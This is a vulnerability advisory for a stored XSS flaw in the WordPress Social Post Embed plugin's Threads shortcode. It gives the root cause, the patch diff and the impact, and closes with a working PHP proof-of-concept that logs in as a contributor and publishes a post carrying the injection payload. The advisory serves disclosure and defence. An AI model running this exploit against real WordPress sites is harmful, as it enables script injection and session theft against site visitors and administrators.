Atomic Edge analysis of CVE-2026-6809: This vulnerability is a Stored Cross-Site Scripting (XSS) in the Social Post Embed plugin for WordPress, affecting all versions up to and including 2.0.1. The plugin’s Threads embed handler does not sanitize or escape user-supplied URL input, allowing authenticated users with Contributor-level access or higher to inject arbitrary web scripts. The CVSS score is 6.4 (Medium).
The root cause is in the file `/social-post-embed/inc/threads.php`. The vulnerable code fails to sanitize the user-supplied `$threads_url` variable before extracting the username and full URL via regex. Specifically, lines 48-49 in the vulnerable version assign `$user = $split[1]` and `$url = $split[0]` without any escaping. The `$url` variable is later used in an embed script output without proper escaping, as seen in line 61 where `$threads_url` is output directly within an iframe or script tag. The regex only validates the URL format but does not strip malicious characters.
An attacker authenticated as a Contributor or higher can create a post or page and use the Threads embed shortcode (e.g., `[threads url=”PAYLOAD”]`) with a crafted URL that contains JavaScript. For example, providing `https://www.threads.net/@”+alert(1)+”/post/abc` would cause the stored embed to execute JavaScript when the page is rendered. The attack vector is through the WordPress post editor, where the attacker inserts the malicious shortcode or block, which is then saved to the database and executed for any visitor viewing the post.
The patch in version 2.0.2 adds `esc_attr()` to both `$user` and `$url` variables in `threads.php` (lines 48-49), and also applies `esc_url()` to `$threads_url` on line 60. `esc_attr()` encodes HTML special characters for safe use in attributes, while `esc_url()` strips dangerous protocols and encodes special characters. This prevents injected JavaScript from rendering as executable code. The version number was also incremented from 2.0.1 to 2.0.2.
Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of any user viewing the affected page. This can lead to session hijacking, theft of sensitive cookies or authentication tokens, redirection to malicious sites, defacement, or further phishing attacks. Since the XSS is stored, it affects all visitors to the WordPress site, including administrators.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/social-post-embed/inc/threads.php
+++ b/social-post-embed/inc/threads.php
@@ -46,8 +46,8 @@
$matched = preg_match( '/https://www.threads.net/(@.*)/post/.*/', $threads_url, $split );
if ( 1 === $matched ) {
- $user = $split[1];
- $url = $split[0];
+ $user = esc_attr( $split[1] );
+ $url = esc_attr( $split[0] );
} else {
$user = '';
$url = false;
@@ -58,6 +58,8 @@
if ( ! $url ) {
$embed = '<p>Error: Threads URL format not recognised.</p>';
} else {
+ $threads_url = esc_url( $threads_url );
+
// The following code makes use of a third party script from Threads (part of Meta). The Privacy Policy is at https://help.instagram.com/515230437301944
// PHPCS is disabled for this next line, so there's no nag to enqueue this script.
// phpcs:disable
--- a/social-post-embed/social-post-embed.php
+++ b/social-post-embed/social-post-embed.php
@@ -9,7 +9,7 @@
* Plugin Name: Social Post Embed
* Plugin URI: https://wordpress.org/plugins/social-post-embed/
* Description: Add embedding for various social media platforms to your WordPress posts
- * Version: 2.0.1
+ * Version: 2.0.2
* Requires at least: 4.6
* Requires PHP: 8.0
* Author: David Artiss
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-6809 - Social Post Embed <= 2.0.1 - Authenticated (Contributor+) Stored XSS via Threads Embed
$target_url = 'http://example.com'; // Change to target WordPress site
$username = 'attacker';
$password = 'attackerpass';
$login_url = $target_url . '/wp-login.php';
$post_url = $target_url . '/wp-admin/post-new.php';
// Step 1: Login
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, 'log=' . urlencode($username) . '&pwd=' . urlencode($password) . '&wp-submit=Log+In&redirect_to=' . urlencode($target_url . '/wp-admin/') . '&testcookie=1');
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
$response = curl_exec($ch);
// Step 2: Get nonce for new post
curl_setopt($ch, CURLOPT_URL, $post_url);
curl_setopt($ch, CURLOPT_POST, 0);
$response = curl_exec($ch);
preg_match('/<input type="hidden" id="_wpnonce" name="_wpnonce" value="([^"]+)"/', $response, $matches);
$nonce = isset($matches[1]) ? $matches[1] : '';
// Step 3: Create post with malicious Threads embed
$payload = 'https://www.threads.net/@"+alert(1)+"/post/abc';
$post_data = array(
'_wpnonce' => $nonce,
'post_title' => 'Test XSS PoC',
'content' => '[threads url="' . $payload . '"]',
'post_status' => 'publish',
);
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
$response = curl_exec($ch);
// Step 4: Verify the post was created (check for error)
if (strpos($response, 'Post published') !== false || strpos($response, 'message') !== false) {
echo "[+] Exploit successful! Post published with XSS payload.n";
} else {
echo "[-] Exploit may have failed. Check cookies and nonce.n";
}
curl_close($ch);
unlink('/tmp/cookies.txt');
?>
